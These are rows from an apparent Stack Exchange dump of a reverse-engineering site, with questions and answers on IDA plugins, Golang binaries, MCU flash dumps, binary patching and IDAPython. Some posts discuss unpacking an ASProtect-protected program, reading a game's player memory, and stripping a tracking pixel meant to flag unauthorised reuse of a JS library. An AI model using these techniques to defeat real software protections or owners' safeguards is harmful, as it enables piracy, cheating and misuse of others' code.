  <row Id="26513" PostTypeId="2" ParentId="26512" CreationDate="2020-12-11T18:00:10.860" Score="1" Body="&lt;p&gt;Ok I change the retourned values and now I got other errors :&lt;/p&gt;&#xA;&lt;p&gt;Error   LNK2001 unresolved external symbol LDSC Sdk75Project1   F:\Developpement\IDA\Sdk75Project\Sdk75Project1\Sdk75Project1\LINK  1&lt;br /&gt;&#xA;Error   LNK2001 unresolved external symbol LPH  Sdk75Project1   F:\Developpement\IDA\Sdk75Project\Sdk75Project1\Sdk75Project1\LINK  1&lt;/p&gt;&#xA;&lt;p&gt;My modified code is :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;ida.hpp&amp;gt;&#xA;#include &amp;lt;idp.hpp&amp;gt;&#xA;#include &amp;lt;loader.hpp&amp;gt;&#xA;&#xA;&#xA;plugmod_t* IDAP_init(void)&#xA;{&#xA;    // Do checks here to ensure your plug-in is being used within&#xA;    // an environment it was written for. Return PLUGIN_SKIP if the&#xA;    // checks fail, otherwise return PLUGIN_KEEP.&#xA;    return PLUGIN_KEEP;&#xA;}&#xA;&#xA;void IDAP_term(void)&#xA;{&#xA;    // Stuff to do when exiting, generally you'd put any sort&#xA;    // of clean-up jobs here.&#xA;    return;&#xA;}&#xA;&#xA;// The plugin can be passed an integer argument from the plugins.cfg&#xA;// file. This can be useful when you want the one plug-in to do&#xA;// something different depending on the hot-key pressed or menu&#xA;// item selected.&#xA;bool IDAP_run(size_t arg)&#xA;{&#xA;    // The &amp;quot;meat&amp;quot; of your plug-in&#xA;    msg(&amp;quot;Hello world!&amp;quot;);&#xA;    return true;&#xA;}&#xA;// There isn't much use for these yet, but I set them anyway.&#xA;char IDAP_comment[] = &amp;quot;This is my test plug-in&amp;quot;;&#xA;char IDAP_help[] = &amp;quot;My plugin&amp;quot;;&#xA;&#xA;// The name of the plug-in displayed in the Edit-&amp;gt;Plugins menu. It can&#xA;// be overridden in the user's plugins.cfg file.&#xA;char IDAP_name[] = &amp;quot;My plugin&amp;quot;;&#xA;&#xA;// The hot-key the user can use to run your plug-in.&#xA;char IDAP_hotkey[] = &amp;quot;Alt-X&amp;quot;;&#xA;&#xA;// The all-important exported PLUGIN object&#xA;&#xA;plugin_t PLUGIN =&#xA;{&#xA;    IDP_INTERFACE_VERSION,              // IDA version plug-in is written for&#xA;    0,                                  // Flags (see below)&#xA;    IDAP_init,                          // Initialisation function&#xA;    IDAP_term,                          // Clean-up function&#xA;    IDAP_run,                           // Main plug-in body&#xA;    IDAP_comment,                       // Comment – unused&#xA;    IDAP_help,                          // As above – unused&#xA;    IDAP_name,                          // Plug-in name shown in&#xA;                                        // Edit-&amp;gt;Plugins menu&#xA;    IDAP_hotkey                         // Hot key to run the plug-in&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;PS : It's ok now, I removed the EXPORTs..&lt;/p&gt;&#xA;" OwnerUserId="35098" LastEditorUserId="35098" LastEditDate="2020-12-11T18:08:44.583" LastActivityDate="2020-12-11T18:08:44.583" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26515" PostTypeId="2" ParentId="26512" CreationDate="2020-12-11T18:59:20.747" Score="4" Body="&lt;p&gt;For decades, IDA's plugin interface remained the same. Your plugin had to export a &lt;code&gt;plugin_t&lt;/code&gt; structure named &lt;code&gt;PLUGIN&lt;/code&gt;, which contained function pointers to its &lt;code&gt;init&lt;/code&gt;, &lt;code&gt;run&lt;/code&gt;, and optional &lt;code&gt;term&lt;/code&gt; functions. You can see that in your snippets above.&lt;/p&gt;&#xA;&lt;p&gt;IDA 7.5 introduced a new plugin interface for C++ plugins, based on inheritance from the &lt;code&gt;plugmod_t&lt;/code&gt; interface, seemingly because future versions of IDA will support multiple databases being loaded at the same time. Download the IDA SDK and look in its &lt;code&gt;plugins&lt;/code&gt; subdirectory. All of the existing example plugins have been updated to use the new interface.&lt;/p&gt;&#xA;&lt;p&gt;TL;DR plugin source code developed for versions less than 7.5 is not going to work anymore for 7.5 and above; it needs to be modified to use the new &lt;code&gt;plugmod_t&lt;/code&gt; interface.&lt;/p&gt;&#xA;" OwnerUserId="182" LastEditorUserId="245" LastEditDate="2023-02-02T20:38:38.360" LastActivityDate="2023-02-02T20:38:38.360" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26516" PostTypeId="1" CreationDate="2020-12-11T22:24:58.700" Score="0" ViewCount="49" Body="&lt;p&gt;I'm reverse engineering a Golang binary and came across the function &lt;code&gt;selectnbrecv&lt;/code&gt;. However, I don't understand the &lt;a href=&quot;https://golang.org/src/runtime/chan.go?s=20089:20153#L699&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt;. I'll appreciate it if someone can explain to me the context and operation of the function. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="17667" LastActivityDate="2020-12-11T22:24:58.700" Title="What exactly does the selectnbrecv function from Golang do?" Tags="|binary|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26518" PostTypeId="2" ParentId="26508" CreationDate="2020-12-12T16:48:21.157" Score="0" Body="&lt;p&gt;It's a bit complicated but should be possible via the &lt;a href=&quot;https://www.hex-rays.com/blog/new-feature-in-ida-6-2-the-proximity-browser/&quot; rel=&quot;nofollow noreferrer&quot;&gt;proximity view&lt;/a&gt;. You can also try a third party plugin &lt;a href=&quot;https://github.com/tacnetsol/ida/tree/master/plugins/alleycat&quot; rel=&quot;nofollow noreferrer&quot;&gt;AlleyCat&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-12-12T16:48:21.157" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26519" PostTypeId="2" ParentId="23419" CreationDate="2020-12-12T18:39:02.190" Score="1" Body="&lt;p&gt;If you touched vector table, first entry is initial value for stack pointer. In the most cases it is set to highest possible RAM address. If it's for example 0x2000A000, then you know you have MCU with 40KB RAM. It make it easier later if your MCU is not custom chip but duplicate of some known MCU from ST, NXP or other vendor.&lt;/p&gt;&#xA;&lt;p&gt;Maybe try some official tools from other vendors and you will catch your chip and it will make dumping flash memory much easier.&lt;/p&gt;&#xA;&lt;p&gt;Anyway you can try reading from address 0x1FFFF7E0 where should be place size flash memory size (at least in ST MCUs). From the other hand as Igor said you can try to download chunks of flash and later built it together. Later when you will have full content, you can try to feed &lt;a href=&quot;https://onlinedisassembler.com/static/home/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;online disassembler&lt;/a&gt; with you code and with trial-error process find your core.&lt;/p&gt;&#xA;" OwnerUserId="34593" LastActivityDate="2020-12-12T18:39:02.190" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26520" PostTypeId="2" ParentId="13013" CreationDate="2020-12-12T19:24:06.187" Score="0" Body="&lt;p&gt;Get 4 bytes data from address 0x08000004 (at 0x08000000 is stack pointer address), there should be address to your reset handler. Even if internal bootloader will start, at the end it jumps to reset handler at that address.&lt;/p&gt;&#xA;" OwnerUserId="34593" LastActivityDate="2020-12-12T19:24:06.187" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26523" PostTypeId="1" CreationDate="2020-12-13T04:19:58.130" Score="1" ViewCount="291" Body="&lt;p&gt;I have an offset to a property within a player class that I need to access data from. It's made of a specific struct that I have already assembled. IDA reports the accessing offset as so:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;v32 = ( v3 + 280 ) // v3 is the player in this case&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I want to convert this to the correct struct within my own C++ module so I can read a specific property of that struct. I can easily get the base address of the players but whenever I get the property it doesn't come out correct.&lt;/p&gt;&#xA;&lt;p&gt;I have tried something of the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;playerData* lpData = reinterpret_cast&amp;lt;playerData*&amp;gt;((int)n_GetLocalPlayer() + 280);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But the struct isn't correct.&lt;/p&gt;&#xA;&lt;p&gt;There is NO doubt that the base address or offset are correct, as the function I reversed in IDA was short and well commented. I just need help casting it.&lt;/p&gt;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="35225" LastActivityDate="2021-05-14T20:45:58.510" Title="Converting a data address offset to the equivalent struct in a C++ module" Tags="|ida|decompilation|c++|injection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26524" PostTypeId="1" CreationDate="2020-12-13T05:15:49.313" Score="0" ViewCount="284" Body="&lt;p&gt;I have a packed program. I have found the oep of the program but the problem is every call to the system dll like kernel32, user32, ... change to a call to the heap. So the packer first allocate a big chunk of heap, copy the dll function to the heap and then instead of the call to dll it call the heap.&lt;/p&gt;&#xA;&lt;p&gt;So my question is is there anyway to dump the heap to section? if not then how can i fix the iat in this situation?&lt;/p&gt;&#xA;&lt;p&gt;Edit: After some experiments, i found that it use asprotect to pack. The iat got obfuscate, instead of call to the function it call to the heap and then the heap will jump to another heap which contain a part of the function and then jump to the real function. So the problem now boil down to how can i fix the iat for it to run? I did set hardware breakpoint on the time the iat create but the function doesn't get written in the iat&lt;/p&gt;&#xA;" OwnerUserId="35226" LastEditorUserId="35226" LastEditDate="2020-12-18T03:43:33.433" LastActivityDate="2020-12-18T03:43:33.433" Title="How to dump heap from packed program (unpack asprotect)" Tags="|unpacking|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26525" PostTypeId="1" CreationDate="2020-12-13T08:07:54.603" Score="0" ViewCount="27" Body="&lt;p&gt;I have an old IP camera that no longer works, doesn't start the &lt;code&gt;ipcamn&lt;/code&gt; executable (application that also listens for port 80 connections).&#xA;Therefore I cannot access it via the network and the camera doesn't perform its intended purpose.&lt;/p&gt;&#xA;&lt;p&gt;It is based on a RA5350 chip, if I attach a serial to USB adapter to it I can see it booting, then it outputs:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Data CRC 01e4cb65 != calculated CRC ed5f8089 for node at 00240af0&#xA;Data CRC 01e4cb65 != calculated CRC ed5f8089 for node at 00240af0&#xA;Data CRC 01e4cb65 != calculated CRC ed5f8089 for node at 00240af0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The system is usable, I can move around, I even copied the contents in search of which program outputs this error.&lt;/p&gt;&#xA;&lt;p&gt;I have found that the camera uses two processes &lt;code&gt;videocatch&lt;/code&gt; and &lt;code&gt;ipcamn&lt;/code&gt; (this is true according to other internet resources as well).&#xA;The &lt;code&gt;ipcamn&lt;/code&gt; is the process outputting these errors. However upon disassembling or looking at the strings contained in it or the &lt;code&gt;.so&lt;/code&gt; files on the system I cannot find anything related to the error above.&lt;/p&gt;&#xA;&lt;p&gt;I'd like to trace the error to its cause and see if it's fixable.&#xA;Any ideas?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# cat /proc/cpuinfo&#xA;system type             : Ralink SoC&#xA;processor               : 0&#xA;cpu model               : MIPS 24K V4.12&#xA;BogoMIPS                : 239.61&#xA;wait instruction        : yes&#xA;microsecond timers      : yes&#xA;tlb_entries             : 32&#xA;extra interrupt vector  : yes&#xA;hardware watchpoint     : yes&#xA;ASEs implemented        : mips16 dsp&#xA;VCED exceptions         : not available&#xA;VCEI exceptions         : not available&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I also tried to rule out HW problems by copying the binaries over to a Debian MIPS system in QEMU, but I cannot run the executables on MIPS nor on MIPSEL:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;user@debian-mips:~/mnt/bin$ ./ipcamn &#xA;-bash: ./ipcamn: cannot execute binary file&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;pre&gt;&lt;code&gt;root@debian-mipsel:/home/user/mnt/bin# ./ipcamn &#xA;bash: ./ipcamn: No such file or directory&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;pre&gt;&lt;code&gt;root@debian-mipsel:/home/user/mnt/bin# file ipcamn &#xA;ipcamn: ELF 32-bit LSB executable, MIPS, MIPS-II version 1 (SYSV), dynamically linked (uses shared libs), stripped&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The file exists and is executable.&lt;/p&gt;&#xA;" OwnerUserId="35229" LastEditorUserId="35229" LastEditDate="2020-12-18T12:20:24.483" LastActivityDate="2020-12-18T12:20:24.483" Title="IPCamera based on RA5350 CRC error on startup" Tags="|disassembly|mips|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26526" PostTypeId="1" CreationDate="2020-12-13T10:05:49.273" Score="1" ViewCount="1452" Body="&lt;p&gt;I want to find 2 consecutive instructions with Ida python&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;move r2,r3 ; move r2 r4&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;What is the easy way to find the addresses of that with Ida python?&lt;/p&gt;&#xA;&lt;p&gt;I can Iterate on all &lt;code&gt;Functions&lt;/code&gt; and for each function get dissasembly by &lt;code&gt;idc.GetDisasm&lt;/code&gt; and then looking for the value but it's take lot of time.&lt;/p&gt;&#xA;&lt;p&gt;Is there any smart and faser way?&lt;/p&gt;&#xA;" OwnerUserId="28889" LastEditorUserId="28889" LastEditDate="2020-12-13T10:50:08.563" LastActivityDate="2021-06-12T19:05:10.480" Title="Find assembly in binary with ida python" Tags="|ida|idapython|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26527" PostTypeId="1" CreationDate="2020-12-13T12:12:59.203" Score="1" ViewCount="183" Body="&lt;p&gt;In Ida pseudo-code when I press at stack's variable I can see the place of this variable in stack.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;char buffer[XXX]; // [sp+YYh]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;How can I get that information (buffer size and place of this buffer in stack)  in IDAPython?&lt;/p&gt;&#xA;" OwnerUserId="34775" LastEditorUserId="245" LastEditDate="2020-12-14T21:02:58.923" LastActivityDate="2020-12-14T21:02:58.923" Title="Analyze stack with IDAPython" Tags="|ida|idapython|buffer-overflow|stack|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26528" PostTypeId="2" ParentId="26526" CreationDate="2020-12-13T12:26:28.850" Score="1" Body="&lt;p&gt;You can use module &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/ida_search-module.html#find_binary&quot; rel=&quot;nofollow noreferrer&quot;&gt;ida_search and function find_binary&lt;/a&gt;.&#xA;If I understand this correctly, the arguments are&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;search start address&lt;/li&gt;&#xA;&lt;li&gt;search end address&lt;/li&gt;&#xA;&lt;li&gt;search string (like &amp;quot;aa bb cc 01 02&amp;quot;)&lt;/li&gt;&#xA;&lt;li&gt;radix(should be 16)&lt;/li&gt;&#xA;&lt;li&gt;direction (like ida_search.SEARCH_DOWN).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;First you should find binary representing desired instructions (you can do it by text search in your executable or assemble it for your architecture), then just use it as an argument.&lt;/p&gt;&#xA;&lt;p&gt;You can find plenty of examples of this function usage for reference &lt;a href=&quot;https://github.com/search?q=find_binary%20ida_search&amp;amp;type=code&quot; rel=&quot;nofollow noreferrer&quot;&gt;at github&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2020-12-13T12:26:28.850" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26529" PostTypeId="1" CreationDate="2020-12-13T15:36:44.083" Score="1" ViewCount="86" Body="&lt;p&gt;I'm reverse engineering an &lt;code&gt;ARM64&lt;/code&gt; Golang binary built with &lt;code&gt;musl&lt;/code&gt; and I've already detected &lt;code&gt;kill -10,12,15 pid&lt;/code&gt; as the signals which interact with it, where &lt;code&gt;10&lt;/code&gt; and &lt;code&gt;12&lt;/code&gt; represent user-defined signals. I think there must be other signals as well and I wish to detect them. In particular, may there be other user-defined signals or only 2 &lt;code&gt;SIGUSR&lt;/code&gt;s are available no matter what? Since signals are being sent to the binary during runtime I wanted to know if there are signature functions in Golang's runtime that may be imported in the binary and represent signal handling functionalities in the binary.&lt;/p&gt;&#xA;" OwnerUserId="17667" LastActivityDate="2021-09-24T02:04:20.433" Title="What to look for in the ARM64 assembly of a Golang binary to find the list of kill signals that affect the binary execution?" Tags="|arm64|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26530" PostTypeId="1" CreationDate="2020-12-13T15:40:53.410" Score="2" ViewCount="3076" Body="&lt;p&gt;I am fairly new to reversing so apologies in advance if any terminology is incorrect.&lt;/p&gt;&#xA;&lt;p&gt;I am currently using ghidra on windows to look at the instructions/decompilation of a binary and I am looking to add some instructions to an existing function to change its behaviour. In this case, it is fairly trivial as I only want to add a fixed value to an existing function parameter, but I would also like some information on more advanced cases where the inserted code is slightly more complex.&lt;/p&gt;&#xA;&lt;p&gt;I made a small test program to test this out and I managed to add the instruction by editing the binary in a hex editor and simply shifting the function bytes and inserting my own. However I realized that this is only possible because there was a bunch of empty memory following the function, so I could just shift them all down but this isn't always the case.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;                         **************************************************************&#xA;                         *                          FUNCTION                          *&#xA;                         **************************************************************&#xA;                         ulonglong __fastcall FUN_140011810(int param_1, int para&#xA;         ulonglong         RAX:8          &amp;lt;RETURN&amp;gt;&#xA;         int               ECX:4          param_1&#xA;         int               EDX:4          param_2&#xA;         undefined4        Stack[0x10]:4  local_res10                             XREF[3]:     140011810(W), &#xA;                                                                                               140011835(R), &#xA;                                                                                               140011848(R)  &#xA;         undefined4        Stack[0x8]:4   local_res8                              XREF[2]:     140011814(W), &#xA;                                                                                               14001184e(R)  &#xA;         undefined1        Stack[-0x10]:1 local_10                                XREF[1]:     140011867(*)  &#xA;         undefined4        Stack[-0xf4]:4 local_f4                                XREF[4]:     140011858(W), &#xA;                                                                                               14001185b(R), &#xA;                                                                                               140011861(W), &#xA;                                                                                               140011864(R)  &#xA;         undefined1        Stack[-0xf8]:1 local_f8                                XREF[1]:     140011821(*)  &#xA;                         FUN_140011810                                   XREF[1]:     thunk_FUN_140011810:14001104b(T), &#xA;                                                                                      thunk_FUN_140011810:14001104b(j)  &#xA;   140011810 89 54 24 10     MOV        dword ptr [RSP + local_res10],param_2&#xA;   140011814 89 4c 24 08     MOV        dword ptr [RSP + local_res8],param_1&#xA;   140011818 55              PUSH       RBP&#xA;   140011819 57              PUSH       RDI&#xA;   14001181a 48 81 ec        SUB        RSP,0x108&#xA;             08 01 00 00&#xA;   140011821 48 8d 6c        LEA        RBP=&amp;gt;local_f8,[RSP + 0x20]&#xA;             24 20&#xA;   140011826 48 8b fc        MOV        RDI,RSP&#xA;   140011829 b9 42 00        MOV        param_1,0x42&#xA;             00 00&#xA;   14001182e b8 cc cc        MOV        EAX,0xcccccccc&#xA;             cc cc&#xA;   140011833 f3 ab           STOSD.REP  RDI&#xA;   140011835 8b 8c 24        MOV        param_1,dword ptr [RSP + local_res10]&#xA;             28 01 00 00&#xA;   14001183c 48 8d 0d        LEA        param_1,[DAT_140021008]                          = 01h&#xA;             c5 f7 00 00&#xA;   140011843 e8 44 f8        CALL       thunk_FUN_140011e80                              undefined thunk_FUN_140011e80(ch&#xA;             ff ff&#xA;   140011848 8b 85 08        MOV        EAX,dword ptr [RBP + local_res10]&#xA;             01 00 00&#xA;   14001184e 8b 8d 00        MOV        param_1,dword ptr [RBP + local_res8]&#xA;             01 00 00&#xA;   140011854 03 c8           ADD        param_1,EAX&#xA;   140011856 8b c1           MOV        EAX,param_1&#xA;   140011858 89 45 04        MOV        dword ptr [RBP + local_f4],EAX&#xA;   14001185b 8b 45 04        MOV        EAX,dword ptr [RBP + local_f4]&#xA;   14001185e 83 c0 0a        ADD        EAX,0xa&#xA;   140011861 89 45 04        MOV        dword ptr [RBP + local_f4],EAX&#xA;   140011864 8b 45 04        MOV        EAX,dword ptr [RBP + local_f4]&#xA;   140011867 48 8d a5        LEA        RSP=&amp;gt;local_10,[RBP + 0xe8]&#xA;             e8 00 00 00&#xA;   14001186e 5f              POP        RDI&#xA;   14001186f 5d              POP        RBP&#xA;   140011870 c3              RET&#xA;   140011871 cc              ??         CCh&#xA;   140011872 cc              ??         CCh&#xA;   140011873 cc              ??         CCh&#xA;   140011874 cc              ??         CCh&#xA;   140011875 cc              ??         CCh&#xA;   140011876 cc              ??         CCh&#xA;   140011877 cc              ??         CCh&#xA;   140011878 cc              ??         CCh&#xA;   140011879 cc              ??         CCh&#xA;   14001187a cc              ??         CCh&#xA;   14001187b cc              ??         CCh&#xA;   14001187c cc              ??         CCh&#xA;   14001187d cc              ??         CCh&#xA;   14001187e cc              ??         CCh&#xA;   14001187f cc              ??         CCh&#xA;   140011880 cc              ??         CCh&#xA;   140011881 cc              ??         CCh&#xA;   140011882 cc              ??         CCh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Specifically, &lt;code&gt;14001185e 83 c0 0a        ADD        EAX,0xa&lt;/code&gt;&#xA;I could duplicate this instruction and change &lt;code&gt;0xa&lt;/code&gt; to alter the output value.&lt;/p&gt;&#xA;&lt;p&gt;In the more complex binary I have a larger function with similar parameters, except there is no additional memory at the end of the function so this approach to shift the remaining bytes wouldn't work as there is another function directly below. I also can't remove any of the current instructions to make space as that might break existing functionality. There is plenty of empty memory elsewhere in the binary so I thought of adding a jmp instruction to perform some instructions, and then jumping back but some of the instructions use local variables so I'm unsure if this will work.&lt;/p&gt;&#xA;&lt;p&gt;So given the above example, and none of the extra memory at the end of the function, how can I insert some custom instructions?&lt;/p&gt;&#xA;" OwnerUserId="35231" LastActivityDate="2021-03-04T11:03:15.517" Title="What are my options to add instructions to a binary?" Tags="|assembly|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26533" PostTypeId="1" CreationDate="2020-12-13T23:06:47.913" Score="5" ViewCount="7397" Body="&lt;p&gt;I would like to unpack an .aab file, decompile/recompile the classes.dex (baksmali/smali), edit the manifest and, finally, generate a new .aab file.&lt;/p&gt;&#xA;&lt;p&gt;Basically, I am looking for an &lt;a href=&quot;https://ibotpeaches.github.io/Apktool/&quot; rel=&quot;noreferrer&quot;&gt;apktool&lt;/a&gt; for .aab&lt;/p&gt;&#xA;" OwnerUserId="18096" LastActivityDate="2020-12-13T23:06:47.913" Title="Unpack, modify and rebuild an Android App Bundles (.aab) file" Tags="|disassembly|android|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="26534" PostTypeId="2" ParentId="26523" CreationDate="2020-12-13T23:36:44.130" Score="1" Body="&lt;p&gt;So silly me, the function &lt;code&gt;n_GetLocalPlayer()&lt;/code&gt; needed to be dereferenced and then the result from the offset dereferenced again. It works now. Here's the format:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;playerData* lpData = reinterpret_cast&amp;lt;playerData*&amp;gt;((*((DWORD *)n_GetLocalPlayer() + 280)));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="35225" LastEditorUserId="245" LastEditDate="2021-05-14T20:45:58.510" LastActivityDate="2021-05-14T20:45:58.510" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26535" PostTypeId="1" AcceptedAnswerId="26541" CreationDate="2020-12-14T08:44:56.457" Score="1" ViewCount="1302" Body="&lt;p&gt;Apologies for a beginner-esque question, but I am reverse engineering an Android application, that is most probably using the &lt;code&gt;libusbhost.so&lt;/code&gt; library to interface with USB devices via Java Native Interface.&lt;/p&gt;&#xA;&lt;p&gt;How would I go about doing so?&lt;/p&gt;&#xA;" OwnerUserId="32803" LastActivityDate="2020-12-14T18:23:15.987" Title="How can I see when a library is being called in Android?" Tags="|android|java|usb|libraries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26536" PostTypeId="1" AcceptedAnswerId="26538" CreationDate="2020-12-14T09:54:25.383" Score="0" ViewCount="428" Body="&lt;p&gt;I have a question about JNE.&#xA;I use ollydbg and ReverseMe tutorial.&lt;/p&gt;&#xA;&lt;p&gt;In &lt;strong&gt;JNE&lt;/strong&gt; condition, the zero flag is equal to &lt;strong&gt;1&lt;/strong&gt;. and it mean the arithmetic result is &lt;strong&gt;zero&lt;/strong&gt;. Right?&lt;/p&gt;&#xA;&lt;p&gt;The &lt;strong&gt;Z=1&lt;/strong&gt; meaning the condition is true and it want to jump to Error message???&#xA;and If i change the &lt;strong&gt;zero flag&lt;/strong&gt; to &lt;strong&gt;0&lt;/strong&gt; &lt;strong&gt;(Z=0)&lt;/strong&gt;, it mean false? and ignore the Error message??&lt;/p&gt;&#xA;&lt;p&gt;JNE = Jump If not Equal. So whats that mean? if not equal to .. ? What does it compare to?&lt;/p&gt;&#xA;&lt;p&gt;i confused ...&#xA;&lt;a href=&quot;https://i.stack.imgur.com/183vC.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/183vC.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="35180" LastEditorUserId="35180" LastEditDate="2020-12-14T10:42:49.617" LastActivityDate="2020-12-14T11:19:46.567" Title="How JNE work in Ollydbg?" Tags="|assembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26537" PostTypeId="1" CreationDate="2020-12-14T10:39:22.357" Score="0" ViewCount="39" Body="&lt;p&gt;Let's say we have a JS code library that is not for sale, just internal. Of course, anyone who can access the website will be able to download that and reuse it.&lt;/p&gt;&#xA;&lt;p&gt;To avoid others to reuse that library, the first thing to do is obfuscate it, but what about the alternative methods to warn the owner about the inappropriate use of that library?&lt;/p&gt;&#xA;&lt;p&gt;This JS code is behind a login website, so it's not possible to just use it adding a:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&amp;quot;https://original.web.site/script/library.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;(it will give a 404 error)&lt;/p&gt;&#xA;&lt;p&gt;So it must be downloaded and installed in a new website. In this case, I think that it's possible to just add a &lt;code&gt;&amp;lt;img src=&amp;quot;http://link.to.owner.site/pixel.jpg&amp;quot; /&amp;gt;&lt;/code&gt; that alerts the owner about the inappropriate use of the library (note the use of &lt;code&gt;http&lt;/code&gt; protocol that shows the referer link).&lt;/p&gt;&#xA;&lt;p&gt;To find and block this kind of warnings, my first idea is to test the library in localhost and check if it is accessing to external URLs (Developer Tools in Google Chrome provide this functionality).&lt;/p&gt;&#xA;&lt;p&gt;My question is: Is there any similar method to warn the owner about inappropriate uses of the library? How to effectively find this kind of warnings and get rid of them?&lt;/p&gt;&#xA;" OwnerUserId="35240" LastActivityDate="2020-12-14T10:39:22.357" Title="Methods to alert inappropriate use of JS code" Tags="|obfuscation|javascript|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26538" PostTypeId="2" ParentId="26536" CreationDate="2020-12-14T11:19:46.567" Score="0" Body="&lt;p&gt;JNE is an alias for JNZ because the CMP instruction will set ZF to 1 if the two values being compared are equal. So you can read it as “jump if &lt;strong&gt;not zero flag&lt;/strong&gt;”, or “jump if ZF is not set”, or “jump if ZF is 0”.&lt;/p&gt;&#xA;&lt;p&gt;In your specific case, the jump will be taken if &lt;code&gt;eax&lt;/code&gt; is &lt;em&gt;not equal&lt;/em&gt; to -1.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-12-14T11:19:46.567" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26539" PostTypeId="2" ParentId="25220" CreationDate="2020-12-14T13:29:19.727" Score="2" Body="&lt;p&gt;i found a tool for unpacking UPX x64.exe it work for me.&#xA;it is called XVolkolak v0.22  i found it here: &lt;a href=&quot;http://ntinfo.biz/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://ntinfo.biz/index.html&lt;/a&gt;&#xA;its a universal tool so it can unpack other packers to.&#xA;Good luck.&#xA;Have a nice day.&lt;/p&gt;&#xA;" OwnerUserId="35241" LastActivityDate="2020-12-14T13:29:19.727" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26540" PostTypeId="2" ParentId="26527" CreationDate="2020-12-14T14:08:17.387" Score="1" Body="&lt;p&gt;You can do this using idapython - using &lt;code&gt;ida_hexrays&lt;/code&gt; api:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ida_hexrays.init_hexrays_plugin()&#xA;for var in ida_hexrays.decompile(ea).get_lvars():&#xA;    # offset&#xA;    offset = -stack_size + var.get_stkoff()&#xA;    # variable size&#xA;    size = var.width&#xA;    # variable type&#xA;    type = var.tif&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And in ida gui, you can see the comments beside declarations.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XHxe5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XHxe5.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27674" LastActivityDate="2020-12-14T14:08:17.387" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
